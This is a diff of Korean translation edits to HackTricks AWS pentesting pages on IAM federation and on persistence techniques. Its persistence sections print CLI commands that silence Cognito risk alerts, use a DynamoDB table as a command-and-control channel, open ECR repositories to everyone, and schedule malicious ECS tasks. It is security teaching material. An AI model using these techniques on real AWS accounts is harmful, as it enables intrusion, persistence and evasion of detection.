-Identity provider의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (like **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다.
+아이덴티티 연합은 **AWS 외부의 아이덴티티 제공자에서 오는 사용자들이** AWS 리소스에 안전하게 접근할 수 있도록 하며, 유효한 IAM 사용자 계정의 AWS 사용자 자격 증명을 제공할 필요가 없습니다.\
+아이덴티티 제공자의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (예: **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다.
-이 신뢰를 구성하기 위해, **IAM Identity Provider가 생성됩니다 (SAML 또는 OAuth)**, 이는 **다른 플랫폼을 신뢰합니다**. 그런 다음, 적어도 하나의 **IAM 역할이 Identity Provider에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 그는 언급된 역할로 접근하게 됩니다.
+이 신뢰를 구성하기 위해 **IAM 아이덴티티 제공자(SAML 또는 OAuth)**가 생성되어 **다른 플랫폼을 신뢰**합니다. 그런 다음, 최소한 하나의 **IAM 역할이 아이덴티티 제공자에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 언급된 역할로 접근하게 됩니다.
-그러나 일반적으로는 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고 싶을 것입니다**. 그런 다음, 여러 **IAM 역할이 제3자 Identity Provider를 신뢰할 수 있으며**, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 맡도록 허용하는 역할을 하게 됩니다.
+그러나 일반적으로는 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고자 할 것입니다**. 따라서 여러 **IAM 역할이** 제3자 아이덴티티 제공자를 신뢰할 수 있으며, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 가정하도록 허용하는 역할을 하게 됩니다.
-### IAM Identity Center
+### IAM 아이덴티티 센터
-AWS IAM Identity Center (AWS Single Sign-On의 후속 제품)는 AWS Identity and Access Management (IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근을 **중앙에서 관리할 수 있는 장소**를 제공합니다.
+AWS IAM 아이덴티티 센터(AWS Single Sign-On의 후속 제품)는 AWS 아이덴티티 및 접근 관리(IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근 관리를 통합하는 **중앙 장소**를 제공합니다.
로그인 도메인은 `.awsapps.com`과 같은 형식이 될 것입니다.
-사용자를 로그인시키기 위해 사용할 수 있는 3가지 신원 소스가 있습니다:
+사용자를 로그인시키기 위해 사용할 수 있는 3가지 아이덴티티 소스가 있습니다:
-- Identity Center Directory: 일반 AWS 사용자
-- Active Directory: 다양한 커넥터 지원
-- External Identity Provider: 모든 사용자 및 그룹이 외부 Identity Provider (IdP)에서 옵니다.
+- 아이덴티티 센터 디렉토리: 일반 AWS 사용자
+- 액티브 디렉토리: 다양한 커넥터 지원
+- 외부 아이덴티티 제공자: 모든 사용자 및 그룹이 외부 아이덴티티 제공자(IdP)에서 옵니다.
-Identity Center 디렉토리의 가장 간단한 경우, **Identity Center는 사용자 및 그룹 목록을 가지며** 이들에게 **정책을 할당할 수 있습니다** **조직의 모든 계정에 대해**.
+아이덴티티 센터 디렉토리의 가장 간단한 경우, **아이덴티티 센터는 사용자 및 그룹 목록을 보유하고** 있으며, **정책을 할당**하여 **조직의 모든 계정**에 적용할 수 있습니다.
-Identity Center 사용자/그룹이 계정에 접근할 수 있도록 하려면, **Identity Center를 신뢰하는 SAML Identity Provider가 생성되고**, **지정된 정책을 가진 Identity Provider를 신뢰하는 역할이 대상 계정에 생성됩니다**.
+아이덴티티 센터 사용자/그룹에게 계정에 대한 접근을 부여하기 위해 **아이덴티티 센터를 신뢰하는 SAML 아이덴티티 제공자가 생성되고**, **지정된 정책을 가진 아이덴티티 제공자를 신뢰하는 역할이 대상 계정에 생성됩니다**.
#### AwsSSOInlinePolicy
-**IAM Identity Center를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS Identity Center에서 **인라인 정책을 가진 계정에 생성된 역할은** **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
+**IAM 아이덴티티 센터를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS 아이덴티티 센터에서 **인라인 정책을 가진 역할**이 생성된 계정은 **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
-따라서, **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, 이는 **동일한 권한을 가진다는 것을 의미하지 않습니다**.
+따라서 **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, **동일한 권한을 가진다는 의미는 아닙니다**.
-### Cross Account Trusts and Roles
+### 크로스 계정 신뢰 및 역할
-**사용자** (신뢰하는)는 일부 정책을 가진 Cross Account Role을 생성한 다음, **다른 사용자** (신뢰받는)가 **그의 계정에 접근할 수 있도록 허용할 수 있습니다**. 그러나 **새 역할 정책에 명시된 접근만 허용됩니다**. 이를 생성하려면, 새 역할을 생성하고 Cross Account Role을 선택하면 됩니다. Cross-Account Access를 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
-**신뢰받는 사용자를 명시하고 일반적인 것을 넣지 않는 것이 권장됩니다**, 그렇지 않으면 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다.
+**사용자**(신뢰하는)는 일부 정책을 가진 크로스 계정 역할을 생성한 다음, **다른 사용자**(신뢰받는)가 **그의 계정에 접근할 수 있도록 허용할 수 있습니다**. 그러나 **새 역할 정책에 명시된 접근만 허용됩니다**. 이를 생성하려면 새 역할을 만들고 크로스 계정 역할을 선택하면 됩니다. 크로스 계정 접근을 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
+신뢰받는 사용자를 **구체적으로 지정하고 일반적인 내용을 넣지 않는 것이 좋습니다**. 그렇지 않으면, 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다.
### AWS Simple AD
지원되지 않음:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
+- 신뢰 관계
+- AD 관리 센터
+- 전체 PS API 지원
+- AD 재활용 빈
+- 그룹 관리 서비스 계정
+- 스키마 확장
- OS 또는 인스턴스에 대한 직접 접근 없음
-#### Web Federation or OpenID Authentication
+#### 웹 연합 또는 OpenID 인증
앱은 AssumeRoleWithWebIdentity를 사용하여 임시 자격 증명을 생성합니다. 그러나 이는 AWS 콘솔에 대한 접근을 부여하지 않으며, AWS 내의 리소스에 대한 접근만 부여합니다.
-### Other IAM options
+### 기타 IAM 옵션
- **비밀번호 정책 설정**을 통해 최소 길이 및 비밀번호 요구 사항과 같은 옵션을 설정할 수 있습니다.
-- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 활성화 여부 등)를 포함한 **"Credential Report"를 다운로드할 수 있습니다**. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
+- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 사용 가능 여부 등)를 포함한 **"자격 증명 보고서"를 다운로드**할 수 있습니다. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
-AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지**, 그리고 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해, 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙을 보장합니다**.
+AWS 아이덴티티 및 접근 관리(IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지** 및 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙**을 보장합니다.
-### IAM ID Prefixes
+### IAM ID 접두사
[**이 페이지**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)에서 키의 성격에 따라 **IAM ID 접두사**를 찾을 수 있습니다:
@@ -299,15 +299,15 @@ AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접
| AGPA | 사용자 그룹 |
| AIDA | IAM 사용자 |
| AIPA | Amazon EC2 인스턴스 프로필 |
-| AKIA | 접근 키 |
+| AKIA | 액세스 키 |
| ANPA | 관리형 정책 |
| ANVA | 관리형 정책의 버전 |
| APKA | 공개 키 |
| AROA | 역할 |
| ASCA | 인증서 |
-| ASIA | [임시 (AWS STS) 접근 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 접근 키 및 세션 토큰과 조합하여만 고유합니다. |
+| ASIA | [임시(AWS STS) 액세스 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 액세스 키 및 세션 토큰과 조합하여만 고유합니다. |
-### Recommended permissions to audit accounts
+### 계정 감사에 권장되는 권한
다음 권한은 메타데이터에 대한 다양한 읽기 접근을 부여합니다:
@@ -320,13 +320,13 @@ AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## 기타
-### CLI Authentication
+### CLI 인증
일반 사용자가 CLI를 통해 AWS에 인증하기 위해서는 **로컬 자격 증명**이 필요합니다. 기본적으로 `~/.aws/credentials`에서 **수동으로** 구성하거나 **`aws configure`를 실행하여** 구성할 수 있습니다.\
-해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필이 지정되지 않으면**, 해당 파일에서 **`[default]`**라는 이름의 프로필이 사용됩니다.\
-하나 이상의 프로필이 있는 자격 증명 파일의 예:
+해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필**이 지정되지 않으면 해당 파일의 **`[default]`**라는 프로필이 사용됩니다.\
+여러 프로필이 있는 자격 증명 파일의 예:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -337,12 +337,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
+다른 **AWS 계정**에 접근해야 하고 귀하의 프로필이 **해당 계정 내에서 역할을 가정할 수 있는 권한**을 부여받았다면, 매번 수동으로 STS를 호출할 필요가 없습니다 (`aws sts assume-role --role-arn --role-session-name sessname`) 및 자격 증명을 구성할 필요가 없습니다.
-다른 AWS 계정에 접근해야 하고 프로필이 해당 계정 내에서 **역할을 가정할 수 있는** 권한을 부여받았다면, 매번 수동으로 STS를 호출하고(`aws sts assume-role --role-arn --role-session-name sessname`) 자격 증명을 구성할 필요가 없습니다.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
+`~/.aws/config` 파일을 사용하여 [**가정할 역할을 지정**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)할 수 있으며, 그런 다음 평소처럼 `--profile` 매개변수를 사용할 수 있습니다 (사용자에게는 `assume-role`이 투명하게 수행됩니다).\
+구성 파일 예:
```
[profile acc2]
region=eu-west-2
@@ -351,7 +349,7 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-이 구성 파일을 사용하여 aws cli를 다음과 같이 사용할 수 있습니다:
+이 구성 파일을 사용하면 aws cli를 다음과 같이 사용할 수 있습니다:
```
aws --profile acc2 ...
```
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index fdfed6b56..d8ee158ff 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,7 +10,7 @@ SAML에 대한 정보는 다음을 확인하세요:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)이 포함된 **메타데이터 XML**을 제공하면 됩니다.
+**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)을 포함하는 **메타데이터 XML**을 제공하면 됩니다.
## OIDC - Github Actions Abuse
@@ -18,9 +18,9 @@ Identity provider로 github action을 추가하려면:
1. _Provider type_에서 **OpenID Connect**를 선택합니다.
2. _Provider URL_에 `https://token.actions.githubusercontent.com`를 입력합니다.
-3. _Get thumbprint_를 클릭하여 provider의 thumbprint를 가져옵니다.
+3. _Get thumbprint_를 클릭하여 제공자의 thumbprint를 가져옵니다.
4. _Audience_에 `sts.amazonaws.com`을 입력합니다.
-5. github action이 필요로 하는 **권한**과 provider를 신뢰하는 **신뢰 정책**으로 **새 역할**을 생성합니다:
+5. github action이 필요로 하는 **권한**과 제공자를 신뢰하는 **신뢰 정책**을 가진 **새 역할**을 생성합니다:
- ```json
{
"Version": "2012-10-17",
@@ -45,8 +45,8 @@ Identity provider로 github action을 추가하려면:
}
```
6. 이전 정책에서 특정 **트리거**로 **조직**의 **저장소**에서 **브랜치**만 허용된 것을 주목하세요.
-7. github action이 **가짜**로 사용할 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, **환경** 내의 **비밀**에 저장합니다.
-8. 마지막으로 github action을 사용하여 워크플로우에서 사용할 AWS 자격 증명을 구성합니다:
+7. github action이 **가장할** 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, 이를 **환경** 내의 **비밀**에 **저장**합니다.
+8. 마지막으로, 워크플로우에서 사용할 AWS 자격 증명을 구성하기 위해 github action을 사용합니다:
```yaml
name: "test AWS Access"
@@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
-이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지 명시하지 않기 때문에 **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다.
+이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지에 대한 언급이 없으므로, **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다.
-**어떤 서비스 계정이 역할을 맡을 수 있어야 하는지** 명시하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어:
+**어떤 서비스 계정이 역할을 맡을 수 있는지** 지정하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 853dd1ade..86b7f2be1 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,8 +1,8 @@
-# AWS - Permissions for a Pentest
+# AWS - Pentest에 대한 권한
{{#include ../../banners/hacktricks-training.md}}
-다음은 모든 제안된 AWS 감사 도구를 실행할 수 있도록 감사하려는 각 AWS 계정에서 필요한 권한입니다:
+감사할 각 AWS 계정에서 모든 제안된 AWS 감사 도구를 실행할 수 있도록 필요한 권한은 다음과 같습니다:
- 기본 정책 **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review)를 실행하려면 다음 권한도 필요합니다:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 1add6c0a6..aadea1812 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -16,7 +16,7 @@ API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권
### Modify Lambda Authorizers
-모든 엔드포인트에 대한 접근 권한을 부여하기 위해 람다 인증자의 코드를 수정합니다.\
+람다 인증자의 코드를 수정하여 모든 엔드포인트에 대한 접근 권한을 부여합니다.\
또는 인증자의 사용을 제거합니다.
### IAM Permissions
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index fd68645e6..eb6351f31 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,7 +4,7 @@
## Cognito
-자세한 정보는 다음을 참조하십시오:
+자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -12,16 +12,16 @@
### 사용자 지속성
-Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성 요소가 있습니다:
+Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다:
- **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가
- 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용**
- 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에
- 주어진 역할의 **권한을 개선**
-- **속성을 통해 사용자 생성, 검증 및 권한 상승**을 수행하거나 **사용자 풀**에 새로운 사용자 추가
-- **외부 아이덴티티 제공자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용
+- **사용자 풀**에서 속성이 제어하는 사용자 또는 새로운 사용자를 통해 **생성, 검증 및 권한 상승**
+- **외부 아이덴티티 공급자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용
-이 작업을 수행하는 방법은 다음을 확인하십시오:
+이 작업을 수행하는 방법은 다음에서 확인하세요
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,7 +29,7 @@ Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을
### `cognito-idp:SetRiskConfiguration`
-이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하십시오**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면:
+이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하세요**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 43509fe32..a0ecedda4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -38,7 +38,7 @@ aws lambda create-event-source-mapping \
### DynamoDB를 C2 채널로 사용하기
-공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어 (C2) 채널**로 사용할 수 있습니다.
+공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어(C2) 채널**로 사용할 수 있습니다.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
@@ -54,6 +54,6 @@ aws dynamodb put-item \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region
```
-손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이는 공격자가 손상된 리소스에 대한 지속성과 제어를 유지할 수 있게 합니다.
+손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이를 통해 공격자는 손상된 리소스에 대한 지속성과 제어를 유지할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b1a81809e..7748f5339 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -14,12 +14,12 @@
수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다.
-공격자가 **기계에서 시작된 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.**
+공격자가 **기계에서 발생한 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.**
### EC2 Lifecycle Manager
이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
-공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 구성하고 **자신의 계정과 공유**할 수 있습니다.
+공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 예약하고 **자신의 계정과 공유**할 수 있습니다.
### Scheduled Instances
@@ -27,7 +27,7 @@
### Spot Fleet Request
-스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**와 **높은 권한의 IAM 역할**을 사용할 수 있습니다.
+스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**를 포함할 수 있습니다. **IP 주소**와 함께 **높은 권한의 IAM 역할**을 사용할 수 있습니다.
### Backdoor Instances
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 5699fe6d5..7b22b2da8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -16,7 +16,7 @@
### 리포지토리 정책
-리포지토리에 대한 접근 권한을 자신(또는 모든 사람)에게 부여하는 정책을 추가하세요:
+리포지토리에 대한 액세스를 자신(또는 모든 사람)에게 부여하는 정책을 단일 리포지토리에 추가하세요:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 그래야만 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다.
+> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 이를 통해 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다.
### 레지스트리 정책 및 크로스 계정 복제
-크로스 계정 복제를 구성하여 외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능합니다. 여기서 레지스트리를 복제하려는 **외부 계정**을 **지정**해야 합니다.
+외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능하며, 이 경우 레지스트리를 복제할 외부 계정을 **지정해야** 합니다.
-먼저, 다음과 같은 **레지스트리 정책**을 사용하여 외부 계정에 레지스트리에 대한 액세스를 부여해야 합니다:
+먼저, 외부 계정에 **레지스트리 정책**을 통해 레지스트리에 대한 액세스를 부여해야 합니다:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 8088d522c..fdd184086 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,10 +1,10 @@
-# AWS - ECS Persistence
+# AWS - ECS 지속성
{{#include ../../../banners/hacktricks-training.md}}
## ECS
-자세한 내용은 다음을 확인하세요:
+자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -44,7 +44,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
-### 기존 ECS 작업 정의에서 백도어 컨테이너
+### 기존 ECS 작업 정의의 백도어 컨테이너
> [!NOTE]
> TODO: 테스트
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 4e487c9ab..9359dc283 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,15 +12,15 @@
### 인스턴스 내 지속성
-AWS 계정 내에서 지속성을 유지하기 위해 **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**.
+AWS 계정 내에서 지속성을 유지하기 위해, **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**.
### 버전 내 백도어
-공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상되는 코드가 실행되도록 할 수 있습니다.
+공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상 코드를 실행하도록 할 수 있습니다.
### 새로운 백도어 버전
-공격자는 실제 버전의 코드를 변경하는 대신 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
+공격자는 실제 버전의 코드를 변경하는 대신, 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
### 사용자 정의 리소스 생명 주기 훅 악용
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 7d2a0efd1..fe92c6d3e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -13,7 +13,7 @@
### 일반적인 IAM 지속성
- 사용자 생성
-- 제어된 사용자를 권한이 있는 그룹에 추가
